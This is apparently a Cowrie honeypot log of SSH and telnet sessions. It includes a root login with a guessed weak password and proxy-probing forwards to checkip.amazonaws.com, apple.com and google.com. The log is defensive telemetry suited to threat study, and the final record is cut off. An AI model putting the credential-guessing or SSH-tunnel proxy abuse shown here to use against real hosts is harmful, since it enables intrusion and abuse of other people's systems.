{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:03.753418Z","src_ip":"195.178.110.218","session":"5261d797372b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.224.129.223","src_port":55660,"dst_ip":"10.17.0.5","dst_port":23,"session":"a38f9de8c4d4","protocol":"telnet","message":"New connection: 83.224.129.223:55660 (10.17.0.5:23) [session: a38f9de8c4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:07.288297Z"}
{"eventid":"cowrie.session.closed","duration":15.105689764022827,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:22.393830Z","src_ip":"83.224.129.223","session":"a38f9de8c4d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.152","src_port":31402,"dst_ip":"159.203.135.109","dst_port":22,"session":"8901b4d11f14","protocol":"ssh","message":"New connection: 64.62.197.152:31402 (159.203.135.109:22) [session: 8901b4d11f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:34.639629Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xd2\\xd8~\u0003\\xd5\u007f","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xd2\\xd8~\u0003\\xd5\u007f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:34.652824Z","src_ip":"64.62.197.152","session":"8901b4d11f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:34.657153Z","src_ip":"64.62.197.152","session":"8901b4d11f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":55192,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5dccae5456a","protocol":"ssh","message":"New connection: 77.90.185.17:55192 (159.203.135.109:22) [session: f5dccae5456a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:35.214447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:35.219171Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:35.324815Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:35.833136Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.143.91","dst_port":443,"src_ip":"77.90.185.17","src_port":48024,"message":"direct-tcp connection request to 34.251.143.91:443 from 127.0.0.1:48024","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:38.316904Z","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.143.91","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.143.91:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:38.744198Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.143.91","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8e#\\x9e\"\\xf9u\\x7fE\\x0frj\\x8fa-\\xfae\\x81\\xb4\\t\\xd9\\xc4\\xb7J.=\\xc9z\\x1e\\xd0x\\x1b& \\x12\\xbe\\xfa\\x8do\\x08T\\xa5\\xc6$\\x8e\\xf4\\x14\\x04]\\xe8\\x11\\xd5F\\x08\\xa35\\xce\\xa3\\xd9\\x1c\\xc1h0\\x9eGW\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x01\\xdf\\t\\x8e\\x073C\\x90[*q\\xa5\\xc9\\xa9Hb\\x04\\xd5\\xd6I\\xd0\\xf5\\xf2\\x9d\\x18\\xcdF\\x98\\xfd\\xb2}t\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.143.91:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8e#\\x9e\"\\xf9u\\x7fE\\x0frj\\x8fa-\\xfae\\x81\\xb4\\t\\xd9\\xc4\\xb7J.=\\xc9z\\x1e\\xd0x\\x1b& \\x12\\xbe\\xfa\\x8do\\x08T\\xa5\\xc6$\\x8e\\xf4\\x14\\x04]\\xe8\\x11\\xd5F\\x08\\xa35\\xce\\xa3\\xd9\\x1c\\xc1h0\\x9eGW\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x01\\xdf\\t\\x8e\\x073C\\x90[*q\\xa5\\xc9\\xa9Hb\\x04\\xd5\\xd6I\\xd0\\xf5\\xf2\\x9d\\x18\\xcdF\\x98\\xfd\\xb2}t\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:38.747000Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":50396,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:50396","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:39.825235Z","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:40.307634Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\xb81\\t\\x84\\xcf(\\xeb\\xcb(W\\x98\\xfd\\xc0\\xc1\\xfd\\xfbq\\x95{\\xbby\\xdc\\xde\\x1a\\x12?<duY\\x1d B\\xa5\\xaad\\x15\\xe0^X\\xd4\\x1f`\\x7f?\\x80\\x91\\x0c&O\\xef\\x7fZ\\x81\\xf7q\\xf6up\\xdd\\x1e-;\\xcd\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe9\\xf1g\\xdb\\x98\\xf5\\x96(\\xc2\\xaf&\\xe9\\xd1*?i\\x10\\n&\\xfe\\xa2\\xfb\\xc8\\xc6\"I?\\rT\\x11\\x08G\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\xb81\\t\\x84\\xcf(\\xeb\\xcb(W\\x98\\xfd\\xc0\\xc1\\xfd\\xfbq\\x95{\\xbby\\xdc\\xde\\x1a\\x12?<duY\\x1d B\\xa5\\xaad\\x15\\xe0^X\\xd4\\x1f`\\x7f?\\x80\\x91\\x0c&O\\xef\\x7fZ\\x81\\xf7q\\xf6up\\xdd\\x1e-;\\xcd\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe9\\xf1g\\xdb\\x98\\xf5\\x96(\\xc2\\xaf&\\xe9\\xd1*?i\\x10\\n&\\xfe\\xa2\\xfb\\xc8\\xc6\"I?\\rT\\x11\\x08G\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:40.310768Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.155.119","dst_port":443,"src_ip":"77.90.185.17","src_port":51864,"message":"direct-tcp connection request to 142.251.155.119:443 from 127.0.0.1:51864","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:41.143181Z","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.155.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.155.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:41.973795Z","src_ip":"77.90.185.17","session":"f5dccae5456a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.155.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\xe6w\\rb-l\\xb8\\xcd\\xd6;o\\tbe \\xd2Itp\\x18\\x06g!m\\xfb\\xc8;e~V\\x87 N(\\xc7Tt\\xc6\\x03#\\tp2\\xb0;\\xa0\\xc4\\xcd`\\xe4\\x07@#\\xad\\xad\\x83V\\x839xv\\xf1\\xca\\xec\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xbdW\\xa2\\xdd/\\xd6\\xf9\\xbdeM%X\\xb5 \\\\;>\\x11\\xb9\\xcc\\x85\\x8c\\xf8@\\xa4D\\xe00\\xa5,\\xe5u\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.155.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\xe6w\\rb-l\\xb8\\xcd\\xd6;o\\tbe \\xd2Itp\\x18\\x06g!m\\xfb\\xc8;e~V\\x87 N(\\xc7Tt\\xc6\\x03#\\tp2\\xb0;\\xa0\\xc4\\xcd`\\xe4\\x07@#\\xad\\xad\\x83V\\x839xv\\xf1\\xca\\xec\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x